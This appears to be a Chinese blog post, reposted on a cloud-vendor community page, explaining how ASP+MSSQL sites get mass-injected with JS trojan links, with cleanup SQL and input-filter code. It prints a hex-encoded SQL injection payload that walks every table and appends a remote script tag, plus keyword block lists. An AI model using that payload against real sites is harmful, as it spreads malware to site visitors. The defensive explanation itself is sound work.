資料庫被批量注入了 JS指令碼

來源:互聯網
上載者:User

這陣子,採用ASP+MSSQL設計的很多網站可能遭遇到sql資料庫被掛馬者插入JS木馬的經曆;這不,朋友的一個網站就被駭客忽悠了一把,mssql的每個varchar、text欄位都被自動插入一段js代碼,即使刪除這段代碼,如果沒有從源頭上解決,幾分鐘後,js代碼就又會自動插入資料庫。

這很有可能是程式自動執行的,駭客先從搜尋引擎google、百度等搜尋存在漏洞的採用asp+mssql設計的網站,然後採用注入掃描工具,掃描整個網站,一旦發現有sql注入的漏洞或者上傳漏洞,駭客就通過各種手段,上傳自己的大馬;然後,駭客就把這個網站納入他的肉雞列表,隨時在資料庫裡加入自己希望加的js代碼,而這些代碼往往是包含著眾多的的病毒、木馬,最終讓訪問受控網站的使用者的電腦中毒。

雖然,可以通過sql查詢分析器執行批量代換,暫時解決被插入的js代碼問題,然而不從根本上解決整個網站存在的漏洞,包括程式上和伺服器安全許可權,那麼駭客還是隨時可以入侵你的網站資料庫。

在sql查詢分析器裡可以執行以下的代碼批量替換js代碼:


update 表名 set 欄位名=replace(欄位名,'<Script Src=http://c.n%75clear3.com/css/c.js></Script>','') ”

flymorn仔細檢查了網站,發現網站存在幾個安全問題:

第一,網站存在上傳漏洞;雖然,上傳檔案需要管理員身分識別驗證,也對上傳檔案進行了檔案格式的認證,但管理員身分識別驗證採用了cookies,而cookies是可以被偽造的,而且如果上傳了圖片後,不對該檔案的內容採取任何判斷的話,那麼圖片木馬也很有可能被上傳。

解決措施:1 刪除上傳檔案功能(不太實際);2 修改上傳使用者驗證為session驗證;3 對上傳後的檔案內容進行驗證,如果是圖片木馬,則刪除;可以參考以下的驗證代碼:

 

ASP/Visual Basic代碼
  1. ''===============判斷上傳檔案是否含非法字串start================   
  2. set MyFile = server.CreateObject("Scripting.FileSystemObject")   
  3. set MyText = MyFile.OpenTextFile(Server.mappath(filePath), 1) '讀取文字檔   
  4. sTextAll = lcase(MyText.ReadAll)   
  5. MyText.close   
  6. set MyFile = nothing   
  7. sStr="<%|.getfolder|.createfolder|.deletefolder|.createdirectory|.deletedirectory|.saveas|wscript.shell|script.encode|server.|.createobject|execute|activexobject|language="  
  8. sNoString = split(sStr,"|")    
  9. for i=0 to ubound(sNoString)   
  10.    if instr(sTextAll,sNoString(i)) then   
  11. set filedel = server.CreateObject("Scripting.FileSystemObject")   
  12. filedel.deletefile Server.mappath(filePath)   
  13. set filedel = nothing   
  14. Response.Write("<script>alert('您上傳的檔案有問題,上傳失敗!');history.back();</script>")   
  15. Response.End  
  16.    end if   
  17. next   
  18. ''=================判斷上傳檔案是否含非法字串end===================  

    第二,網站存在cookies注入漏洞。由於程式設計中,為了考慮到減小伺服器的開銷,所有使用者登陸後採用cookies驗證,這個cookies裡儲存了使用者的 ID 和 NAME ,而眾所周知,cookies是經常被駭客偽造的,這是其一;另外,某些外部參數 沒有採用嚴格的 request.form 和 request.querystring 來擷取內容,為了簡便,採用了 request("id") 這樣的方式。

    我們知道,ASP 的request 是先從form、querystring裡擷取內容,如果這兩個為空白,則要從cookies裡擷取內容,大家往往在程式設計中考慮到了 request.form 和 request.querystring 的SQL注入,所以一般都會過濾 request.form 和 request.querystring進行sql注入;但卻偏偏忘了過濾cookies方式下的注入。我們來看下下面這樣的sql語句:

SQL="select * from 表名 where id="&request("id")

如果這個 id 恰巧是通過cookies來擷取值的,那麼想想,這是一件多麼可怕的事啊!注入者可以輕鬆的偽造一個名為 id 的虛假 cookies ,因為這個 id 的cookies 是伺服器分配給它的。這個cookies可以被偽造成類似下面這樣的一段代碼:

dEcLaRe @s vArChAr(4000);sEt @s=cAsT(0x6445634c615265204074207641724368417228323535292c406320764172436841722832353529206445634c6
15265207441624c655f637572736f5220635572536f5220466f522073456c456354206 ITXX網(http://it.xx.cn) 12e6e416d452c622e6e416d
452046724f6d207359734f624a6543745320612c735973436f4c754d6e53206220774865526520612e694www.ad0.cn43d622e6
94420416e4420612e78547950653d27752720416e442028622e78547950653d3939206f5220622e78547950653d3
335206f5220622e78547950653d323331206f5220622e78547950653d31363729206f50654e207441624c655f6375
72736f52206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c4063207768
696c6528404066457443685f7374617475733d302920624567496e20657865632827557044615465205b272b40742
b275d20734574205b272b40632b275d3d727472696d28636f6e7665727428764172436841722c5b272b40632b275
d29292b27273c2f7469746c653e3c736372697074207372633d687474703a2f2f2536622536622533362532652537
352537332f312e6a733e3c2f7363726970743e27272729206645744368206e6578742046724f6d207441624c655f6
37572736f5220694e744f2040742c406320654e6420634c6f5365207441624c655f637572736f52206445416c4c6f4
3615465207441624c655f637572736f520d0a aS vArChAr(4000));exec(@s);--

    看暈了吧。這是利用HEX的方式進行SQL注入,可以繞過一般的IDS驗證,只要系統存在SQL注入,上面的代碼將會被執行,通過遊標遍曆資料庫中的所有表和列並在列中插入js代碼。

    解決辦法:1 嚴格過濾 request.form 和 request.querystring 擷取的內容,堅決不用 request("name") 這樣的方式擷取值,凡是採用 cookies 儲存的內容,盡量不要用在sql語句裡進行查詢資料庫操作;2 重要的使用者資料盡量採用 session 驗證,因為session是伺服器端的,用戶端無法偽造資料,除非他有你伺服器的許可權。

    可以採用以下的防範 get 、post以及cookies 注入的代碼來過濾 sql 注入攻擊:

 

ASP/Visual Basic代碼
  1. <%   
  2. Response.Buffer = True   '快取頁面面   
  3. '防範get注入   
  4. If Request.QueryString <> ""   Then StopInjection(Request.QueryString)   
  5. '防範post注入   
  6. If Request.Form <> ""   Then StopInjection(Request.Form)   
  7. '防範cookies注入   
  8. If Request.Cookies <> ""   Then StopInjection(Request.Cookies)   
  9.   
  10. '正則子函數   
  11. Function StopInjection(Values)   
  12. Dim regEx   
  13. Set regEx = New RegExp   
  14. regEx.IgnoreCase = True  
  15. regEx.Global = True  
  16. regEx.Pattern = "'|;|#|([/s/b+()]+(select|update|insert|delete|declare|@|exec|dbcc|alter|drop|create|backup|if|else|end|and|or|add|set|open|close|use|begin|retun|as|go|exists)[/s/b+]*)"  
  17. Dim sItem, sValue   
  18. For Each sItem In Values   
  19.        sValue = Values(sItem)   
  20.        If regEx.Test(sValue) Then  
  21.          Response.Write "<Script Language=javascript>alert('非法注入!你的行為已被記錄!!');history.back(-1);</Script>"  
  22.          Response.End  
  23.        End If  
  24. Next  
  25. Set regEx = Nothing  
  26. End function   
  27. %>  

    把以上的代碼另存新檔一個檔案,如 antisql.asp ,然後在資料庫連接檔案開頭包含這個檔案 <!--#include file="antisql.asp"--> ,就可以實現全站的防範 sql 注入的攻擊了。

    第三,嚴格過濾外部提交資料。判斷提交頁面的來源,如果不是當前網站,則拒絕提交。可以參考以下的代碼,雖然來源網址可以偽造,但有這樣的判斷,畢竟可以阻擋那些沒有技術含量的惡意提交:

 

ASP/Visual Basic代碼
  1. <%''判斷來源,禁止外部提交   
  2. dim server_v1,server_v2   
  3. server_v1=Cstr(Request.ServerVariables("HTTP_REFERER"))   
  4. server_v2=Cstr(Request.ServerVariables("SERVER_NAME"))   
  5. if server_v1="" or instr(server_v1,"發表頁面名")<=0 or mid(server_v1,8,len(server_v2))<>server_v2 then   
  6. response.write "<SCRIPT language=JavaScript>alert('來源非法,禁止外部提交!');"  
  7. response.write "this.location.href='vbscript:history.back()';</SCRIPT>"  
  8. response.end   
  9. end if%>  

    第四,做好伺服器許可權的分配。對於資料庫的許可權,盡量分配最小的許可權給使用者使用,如果把sa或管理員的許可權分下來,一旦被攻擊淪陷,這將是一個毀滅性的打擊。mssql 的1433連接埠,建議不用的時候,最好關閉。

    總之,安全問題是一個綜合的問題,一個小的細節,可能讓你的幾個月甚至幾年的心血付之東流。我們不僅要從程式上著手每個細節,而且要仔細做好伺服器的安全工作,對於虛擬機器主機的使用者,還要防範伺服器上的跨站攻擊。細節決定成敗。

 

 

 

 

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.